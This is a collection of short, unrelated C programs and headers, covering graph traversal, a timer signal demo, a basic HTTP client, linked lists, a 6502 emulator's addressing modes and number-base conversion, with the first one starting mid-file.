DeleteQueue(&q, &c); //ĶDZ༭Ϊʹﲻظĵ visit(c); for( j = FirstAdjacentVertax(G, c); j != -1; j = NextAdjacentVertax(G, c, GetVertaxValue(G, j))){ if( visitedArray[j] == 0 ){ EnterQueue(&q, GetVertaxValue(G, j)); visitedArray[j] = 1; //ĶDZ༭Ϊʹﲻظĵ } } } } } return 0; } int main() { Graph G; CreateUndigraph(&G); int input; do { menu( ); scanf("%d",&input); switch(input) { case 1: printf("ȱΪ:\n"); DFSTraverse(G); printf("\n"); break; case 2: printf("ȱΪ:\n"); BFSTraverse(G); printf("\n"); break; case 0: printf("˳\n"); break; default: printf(",>"); } }while(input); printf("\n"); return 0; }
C
#include <stdio.h> #include <sys/time.h> #include <signal.h> #include <unistd.h> void manejador(int s){ signal(SIGALRM, manejador); write(1, "ha llegado la señal\n",21); } int main(){ struct itimerval timer; struct timeval valor; struct timeval temporizador; valor.tv_sec = 02; valor.tv_usec = 500000; temporizador.tv_sec = 1; temporizador.tv_usec = 0; timer.it_value = valor; //temporizador 1ª vez timer.it_interval=temporizador; //periodicidad signal(SIGALRM, manejador); setitimer(ITIMER_REAL, &timer, NULL); while(1); return 0; }
C
#include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define RESPONSE_SIZE 1048576 #define REQUEST_SIZE 4096 #define SERV_PORT 9000 /*port*/ int main(int argc, char **argv) { //basic check of the arguments //additional checks can be inserted if (argc !=3) { perror("Usage: client <IP address of the server> <object requested>"); exit(1); } //Create a socket for the client //If sockfd<0 there was an error in the creation of the socket int sockfd; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) <0) { perror("Problem in creating the socket"); exit(2); } struct sockaddr_in servaddr; //Creation of the socket memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr= inet_addr(argv[1]); servaddr.sin_port = htons(SERV_PORT); //convert to big-endian order //Connection of the client to the socket if (connect(sockfd, (struct sockaddr *) &servaddr, sizeof(servaddr))<0) { perror("Problem in connecting to the server"); exit(3); } //Client connected to server char httpRequest[REQUEST_SIZE]; char httpResponse[RESPONSE_SIZE]; sprintf(httpRequest, "GET /%s HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\nUser-agent: Mozilla/5.0\r\n", argv[2]); send(sockfd, httpRequest, strlen(httpRequest), 0); int n; int bodyfound = 0; int fd = open("object", O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR | S_IWUSR); while ((n = recv(sockfd, httpResponse, RESPONSE_SIZE, 0)) > 0) { // if ((n = recv(sockfd, httpResponse, RESPONSE_SIZE, 0)) == 0) { // //error: server terminated prematurely // perror("The server terminated prematurely"); // exit(4); // } //printf("HTTP response received from the server:\n%s", httpResponse); //printf("\nSize of response: %d\n", n); if (bodyfound) { write(fd, httpResponse, n); } else { int i; for (i = 0; i < n - 3; i++) { if (httpResponse[i] == '\r' && httpResponse[i+1] == '\n' && httpResponse[i+2] == '\r' && httpResponse[i+3] == '\n') { bodyfound = 1; int body = i + 4; printf("HTTP Response message: \n\n"); write(1, httpResponse, i); printf("\n\n"); write(fd, &httpResponse[body], n - body); break; } } } } printf("\nClosing connection...\n"); close(sockfd); return 0; }
C
struct TreeNode { // member vars int val; TreeNode* left; TreeNode* right; // constructor TreeNode(int val): val(val), left(nullptr), right(nullptr) {} };
C
#include <stdio.h> enum year {leap, nonleap}; void l(void) { puts("闰年"); } void n(void) { puts("平年"); } enum year judge(int year) { if (year % 400 == 0 || (year % 4 == 0 && year % 100 != 0)) { return leap; } else { return nonleap; } } int arr[12] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; int sum = 0; int yeard(int month, int day) { for (int i = 0; i < month - 1; i++) { sum = sum + arr[i]; } sum = sum + day; return sum; } int main(void) { int sum2 = 0; int a, b, c; puts("请输入年月日"); printf("请输入年份:"); scanf("%d", &a); printf("请输入月份:"); scanf("%d", &b); printf("请输入日期:"); scanf("%d", &c); switch (judge(a)) { case leap: printf("是该年的第%d天\n", sum2 = yeard(b, c) + 1); break; case nonleap: printf("是该年的第%d天\n", sum2 = yeard(b, c)); break; } return 0; }
C
#ifndef JSONLIB_H #define JSONLIB_H typedef enum { T_STRING = 1, T_NUMBER, T_OBJECT, T_ARRAY, T_TRUE, T_FALSE, T_NULL, } json_value_t; typedef struct json_object { json_value_t object_type; struct json_object** keys; struct json_object** values; size_t klen; int isnull; int istrue; int isfalse; double nval; struct json_object* oval; char* sval; size_t slen; struct json_object** aval; size_t alen; } json_object; #define JSSTR(s) jsonlib_new(T_STRING, s, strlen(s)) #define JSNUM(n) jsonlib_new(T_NUMBER, n) #define JSOBJ(...) jsonlib_new(T_OBJECT, __VA_ARGS__) #define JSARR(...) jsonlib_new(T_ARRAY, __VA_ARGS__) #define JSTRUE() jsonlib_true() #define JSFALSE() jsonlib_false() #define JSNULL() jsonlib_null() int jsonlib_init(); json_object* jsonlib_new(json_value_t t, ...); json_object* jsonlib_new(json_value_t t, ...); json_object* jsonlib_new(json_value_t t, ...); json_object* jsonlib_new(json_value_t t, ...); json_object* jsonlib_true(); json_object* jsonlib_false(); json_object* jsonlib_null(); #endif
C
// // 6502 memory addressing // Copyright (c) 2019 Kacper Rączy // #include "6502/addr.h" static int full_value(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { // little endian uint8_t lsb = memory6502_load(memory, pos); uint8_t msb = memory6502_load(memory, pos + 1); uint16_t value = (uint16_t) lsb | ((uint16_t) msb << 8); maddr->value = value; return 2; } static int lsb_value(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { uint8_t value = memory6502_load(memory, pos); maddr->value = 0; maddr->lval = value; return 1; } int immediate_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = IMM_ADDR; return lsb_value(maddr, memory, pos); } int zeropage_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ZP_ADDR; return lsb_value(maddr, memory, pos); } int zeropage_x_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ZPX_ADDR; return lsb_value(maddr, memory, pos); } int zeropage_y_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ZPY_ADDR; return lsb_value(maddr, memory, pos); } int relative_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = REL_ADDR; return lsb_value(maddr, memory, pos); } int absolute_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ABS_ADDR; return full_value(maddr, memory, pos); } int absolute_x_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ABX_ADDR; return full_value(maddr, memory, pos); } int absolute_y_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = ABY_ADDR; return full_value(maddr, memory, pos); } int indirect_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = IND_ADDR; return full_value(maddr, memory, pos); } int indexed_indirect_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = IZX_ADDR; return lsb_value(maddr, memory, pos); } int indirect_indexed_addr(struct mem_addr *maddr, struct memory6502 *memory, uint16_t pos) { maddr->type = IZY_ADDR; return lsb_value(maddr, memory, pos); } uint16_t handle_addr(struct state6502 *state, struct mem_addr maddr, bool* page_crossed) { uint16_t value; bool pbc; switch (maddr.type) { case ZPX_ADDR: value = (maddr.lval + state->reg_x) & 0xff; break; case ZPY_ADDR: value = (maddr.lval + state->reg_y) & 0xff; break; case REL_ADDR: value = state->pc + (int8_t) maddr.lval; pbc = (value & 0x00ff) < (state->pc & 0x00ff); break; case ABX_ADDR: value = maddr.value + state->reg_x; pbc = (value & 0x00ff) < maddr.lval; break; case ABY_ADDR: value = maddr.value + state->reg_y; pbc = (value & 0x00ff) < maddr.lval; break; case IND_ADDR: value = (uint16_t) memory6502_load(state->memory, maddr.value) | ((uint16_t) memory6502_load(state->memory, (maddr.value & 0xff00) | (uint16_t) (uint8_t) (maddr.lval + 1)) << 8); break; // zero page wrapping below case IZX_ADDR: value = (uint16_t) memory6502_load(state->memory, (maddr.lval + state->reg_x) & 0xff) | ((uint16_t) memory6502_load(state->memory, (maddr.lval + state->reg_x + 1) & 0xff) << 8); break; case IZY_ADDR: value = (uint16_t) memory6502_load(state->memory, maddr.value) | ((uint16_t) memory6502_load(state->memory, (maddr.value + 1) & 0xff) << 8); pbc = ((value + state->reg_y) & 0x00ff) < (value & 0x00ff); value += state->reg_y; break; default: value = maddr.value; } if (page_crossed != NULL) { *page_crossed = pbc; } return value; } char* addr_to_string(struct mem_addr maddr, char* buf, int bufsize) { if (bufsize < 8) return NULL; switch (maddr.type) { case IMM_ADDR: sprintf(buf, "#%02x", maddr.lval); break; case ZP_ADDR: sprintf(buf, "$%02x", maddr.lval); break; case ZPX_ADDR: sprintf(buf, "$%02x,X", maddr.lval); break; case ZPY_ADDR: sprintf(buf, "$%02x,Y", maddr.lval); break; case REL_ADDR: sprintf(buf, "*%+d", (int8_t) maddr.lval); break; case ABS_ADDR: sprintf(buf, "$%04x", maddr.value); break; case ABX_ADDR: sprintf(buf, "$%04x,X", maddr.value); break; case ABY_ADDR: sprintf(buf, "$%04x,Y", maddr.value); break; case IND_ADDR: sprintf(buf, "($%04x)", maddr.value); break; case IZX_ADDR: sprintf(buf, "($%02x,X)", maddr.lval); break; case IZY_ADDR: sprintf(buf, "($%02x),Y", maddr.lval); break; case ACC_ADDR: buf[0] = 'A'; buf[1] = '\0'; break; default: buf[0] = '\0'; break; } return buf; }
C
#include <stdio.h> struct packed_struct { unsigned int:3; //unused bits unsigned int f1:1;//size of field unsigned int f2:1;//size of field unsigned int f3:1;//size of field unsigned int type:8; unsigned int index:18; }; int main(){ struct packed_struct packed_data={.f1=1,.index=200}; packed_data.type=248; int data=packed_data.type;//accessing the field member printf("%d\n",data); if(packed_data.f1){ printf("F1 is Set !\n"); } printf("%d ",packed_data.index); }
C
// // Created by Guy Moyal on 20/03/2018. // #include "utils.h" int findLength(int n){ int nLength=0; while (n > 0){ n=n/10; nLength++; } return nLength; }
C
/* copyright rschuitema 2018 */ /* * Messages can be exchanged between a client and hilt. * There are 3 types of messages: * - actions * - responses * - events * * The actions requested from hilt are always acknowledged with the same id as in the action. * When an actions requires a response then the response will contain the same id as in the action * The id is meant to match the actions and responses. * HILT can also sent events autonomously. * * This is shown in the following diagram. * * client hilt * | | * | action (id=3) | * |--------------------->| * | | * | ack (id=3) | * |<---------------------| * | | * | | * | | * | response (id=3) | * |<---------------------| * | | * | | * | | * | | * | event (id=10) | * |<---------------------| * | | */ #ifndef HILT_MESSAGE_H_ #define HILT_MESSAGE_H_ #ifdef __cplusplus extern "C" { #endif /* includes */ /* constants */ /* type definitions */ typedef struct { uint32_t id; /** Identifier of the message. used for matching command and responses.*/ uint8_t type; /** Type of message, action, response, event, acknowledge.*/ uint8_t service; /** The service that needs to handle the message.*/ uint8_t action; /** The action required from the service.*/ uint8_t length; /** The length of the message payload.*/ uint8_t data[20]; /** The payload of the message.*/ } hilt_message_t; /* interface declarations */ #ifdef __cplusplus } #endif #endif /* HILT_MESSAGE_H_ */
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "utilities.h" void list_init( struct listnode **head) { *head = NULL; } void list_prepend( struct listnode **head, void *data) { struct listnode *t = malloc(sizeof(struct listnode)); t->data = data; t->next = *head; if (*head != NULL) { t->tail = (*head)->tail; } *head = t; } void list_append( struct listnode **head, void *data) { struct listnode *t = malloc(sizeof(struct listnode)); t->data = data; t->next = NULL; if (*head != NULL) { (*head)->tail->next = t; (*head)->tail = t; } else { (*head) = t; (*head)->tail = t; } } void * list_item(struct listnode **head, int index) { int i; struct listnode *t = *head; for (i=0; i<index; i++) { t = t->next; } return t->data; } int list_equal(struct listnode *a, struct listnode *b) { struct listnode *_a, *_b; int match = 0; if (a == b) { return 1; } for (_a=a; _a!=NULL; _a=_a->next) { for (_b=b; _b!=NULL; _b=_b->next) { if (_a->data == _b->data) { match = 1; break; } } if (!match) { /* * a contained data that b does not contain. */ return 0; } } for (_b=b; _b!=NULL; _b=_b->next) { for (_a=a; _a!=NULL; _a=_a->next) { if (_a->data == _b->data) { match = 1; break; } } if (!match) { /* * b contained data that a does not contain. */ return 0; } } return 1; }
C
#include <stdio.h> #include <math.h> #include "laserdefs.h" #include <stdlib.h> int main(void){ scantype sc; posetype startline,optline,tmpline; double wmin,wmint; int i; sc.x=malloc(10*sizeof(double)); sc.y=malloc(10*sizeof(double)); sc.x[0]=4; sc.x[1]=4; sc.y[0]=2; sc.y[1]=4; sc.x[2]=8; sc.x[3]=8; sc.y[2]=2; sc.y[3]=4; wmin=0; startline.x=3; startline.y=0; startline.th=M_PI/2; for (i=-10;i<10;i++){ startline.th=M_PI/2-0.13+i*0.02; wmint=centreline(sc,startline,0,1,2,3,&tmpline); if (wmint > wmin){ wmin=wmint; optline=tmpline; } } printf("wmin %f x %f y %f th %f\n",wmin,optline.x,optline.y,optline.th); return 0; }
C
#include "doubly.h" #include <stdio.h> #include <stdlib.h> NODE_T* create(const unsigned noOfNodes) { NODE_T* head = NULL; for(int i = 0 ; i < noOfNodes ; i++) { int data; printf("\nEnter data to insert:"); scanf("%d",&data); head = insert(head, data, i+1); } return head; } NODE_T* insert(NODE_T* head, const int data, const unsigned position) { NODE_T *newNode = (NODE_T*)malloc(sizeof(NODE_T)); if(NULL == newNode) return head; newNode->prev = NULL; newNode->data = data; newNode->next = NULL; if(position == 1) { if(head) { newNode->next = head; head->prev = newNode; } head = newNode; } else { NODE_T *traverse = head; int pos = position; while(traverse->next && pos-2 !=0 ) { traverse=traverse->next; pos--; } newNode->prev = traverse; newNode->next = traverse->next; traverse->next=newNode; if(newNode->next) newNode->next->prev = newNode; } return head; } NODE_T* delete(NODE_T* head, const unsigned position) { if(head) { NODE_T *temp = NULL; if(position == 1) { temp = head; head = head->next; if(head) head->prev = NULL; temp->next = NULL; } else { NODE_T *traverse = head; int pos = position; while(traverse->next && pos-2) { traverse = traverse->next; pos--; } if(pos-2 == 0) { temp = traverse->next; traverse->next = temp->next; if(temp->next) { temp->next->prev = traverse; } temp->next = NULL; temp->prev = NULL; } else { printf("\nLooks like you forgot number of nodes in linkedlist and hence giving wrong position as input for delete."); } } if(temp) free(temp); } return head; } void display(NODE_T* head) { while(head) { printf("\nData=%d", head->data); head = head->next; } } void reverseDisplay(NODE_T* head) { while(head->next) { head = head->next; } while(head) { printf("\nData=%d", head->data); head = head->prev; } } void freeAll(NODE_T* head) { while(head) { head = delete(head, 1); } } // write a function to find out length of a linkedlist // write a function to delete all nodes based on data // write a function to print singly linked list in reverse order // write a function to print middle node information traversing linkedlist only once (length should not be used) // write a program to implement stack using linkedlist // write a program to implement queue using linkedlist // write a insert function which inserts data in ascending order of sorting i.e sorted linkedlist unsigned int length(NODE_T *head) { unsigned int length = 0; for(NODE_T *traverse = head ; traverse != NULL ; traverse = traverse->next) { length++; } return length; } // write a function to delete all nodes based on data NODE_T* deleteBasedOnData(NODE_T *head, int data) { if(head) { NODE_T *traverse = head; NODE_T *temp = NULL; //this loop handles 1st position having required data as well as it considers if whole linkedlist has same data. while(traverse) { if(head->data == data) { temp = head; head = head->next; temp->next = NULL; free(temp); traverse = head; } else { break; } } while(traverse && traverse->next) { if(traverse->next->data == data) { temp = traverse->next; traverse->next = temp->next; if(temp->next) { temp->next->prev = traverse; } temp->next = NULL; free(temp); } else { traverse = traverse->next; } } } return head; } NODE_T* middleNode(NODE_T *head) { NODE_T *traverse1 = head; NODE_T *traverse2 = head; while(traverse2 && traverse2->next && traverse2->next->next) { traverse1 = traverse1->next; traverse2 = traverse2->next->next; } return traverse1; }
C
#ifndef LIBFT_H # define LIBFT_H # include <stdio.h> # include <string.h> #include <ctype.h> # include <fcntl.h> void *ft_memset(void *s, int c, size_t n); void ft_bzero(void *s, size_t n); int ft_isalpha(int c); int ft_isdigit(int c); int ft_isalnum(int c); int ft_isascii(int c); int ft_isprint(int c); int ft_toupper(int c); int ft_tolower(int c); int ft_puts(const char *s); size_t ft_strlen(const char *s); char *ft_strcat(char *restrict s1, const char *restrict s2); void *ft_memcpy(void *restrict dst, const void *restrict src, size_t n); char *ft_strdup(const char *s1); void ft_cat(int fd); #endif
C
// TODO, it's very fun to represent the target string // very smart way to represent DP // try to solve it in exclusive search way and also the DP. // DP way, bitmap way // smart way to represent the original target here // just be careful~ !!!! // careful !! // DP or exclusive search // not that easy ! // big bitmap DP !!! // backpack problems ? // dp + backtracing // how to memorize the dp // to n dimension, at most is 15 bits which is 32768 2 ^ 15 // then it's easy ! // don't understand // no need, just have the number of sticker can represent the biggest one // DP way, bitmap way // smart way to represent the original target here int minStickers(char** stickers, int stickersSize, char* target) { if (!target || !target[0]) return 0; int tl = strlen(target); int l = 1 << tl; int* dp = calloc(sizeof(int), l); int f = 0; int m = l - 1; int i = 0; char c = target[i ++]; while (c) { f |= 1 << (c - 'a'); c = target[i ++]; } char n[26]; int max = 0; int af = 0; for (int j = 0; j < stickersSize; j ++) { int i = 0; char* s = stickers[j]; c = s[i ++]; while (c) { af |= 1 << (c - 'a'); c = s[i ++]; } } // & is low than !=, must use () if ((af & f) != f) return -1; for (int j = 0; j < stickersSize; j ++) { int i = 0; int tf = 0; char* s = stickers[j]; memset(n, 0, sizeof(n)); c = s[i ++]; while (c) { n[c - 'a'] ++; tf |= 1 << (c - 'a'); c = s[i ++]; } if (!(tf & f)) continue; for (int k = 0; k <= max; k ++) { if (!dp[k] && k) continue; int next = k; int sm = (~k) & m; char now[26] = {0}; for (int i = 0; i < tl; i++) { if (!(sm & (1 << i))) continue; int ni = target[i] - 'a'; if (n[ni] - now[ni]) { now[ni] ++; next |= 1 << i; } } if (dp[next] > dp[k] + 1 || !dp[next]) dp[next] = dp[k] + 1; if (next > max) max = next; } } return dp[m] ? dp[m] : -1; }
C
#include <stdio.h> #include <string.h> #include <stdlib.h> //#include <unistd.h> char *func[4] = { "Hex","Dec","Oct","Bin" }; int Hex(int num) { int position = 0; char hexadecimal[20] = { 0, }; while (1) { int mod = num % 16; if (mod < 10) // { hexadecimal[position] = 48 + mod; } else { hexadecimal[position] = 65 + (mod - 10); } num = num / 16; position++; if (num == 0) break; } for (int i = position - 1; i >= 0; i--) { printf("%c", hexadecimal[i]); } } int Oct(int num) { if (num < 1) { return 0; } else { Oct(num / 8); printf("%d", num % 8); } } int Bin(int num) { if (num < 1) { return 0; } else { Bin(num / 2); printf("%d", num % 2); } } void Parsing(char *_command) { int i = 0; char *ptr = NULL; char *sArr[10] = { NULL, }; int temp = 0; ptr = strtok(_command, "()"); while (ptr != NULL) { sArr[i] = ptr; i++; ptr = strtok(NULL, "()"); } for (int i = 0; i < 10; i++) { if (sArr[i] != NULL) printf("%s\n", sArr[i]); } if (sArr[1] == NULL) { printf("Error\n"); return; } temp = atoi(sArr[1]); if (strcmp(sArr[0], "Hex") == 0) { Hex(temp); } else if (strcmp(sArr[0], "Oct") == 0) { Oct(temp); } else if (strcmp(sArr[0], "Bin") == 0) { Bin(temp); } } int executionprogrammerCal() { char command[256]; printf("Command : "); gets(command); if(strcmp(command,"q")==0) { return 0; } Parsing(command); printf("\n"); return 1; }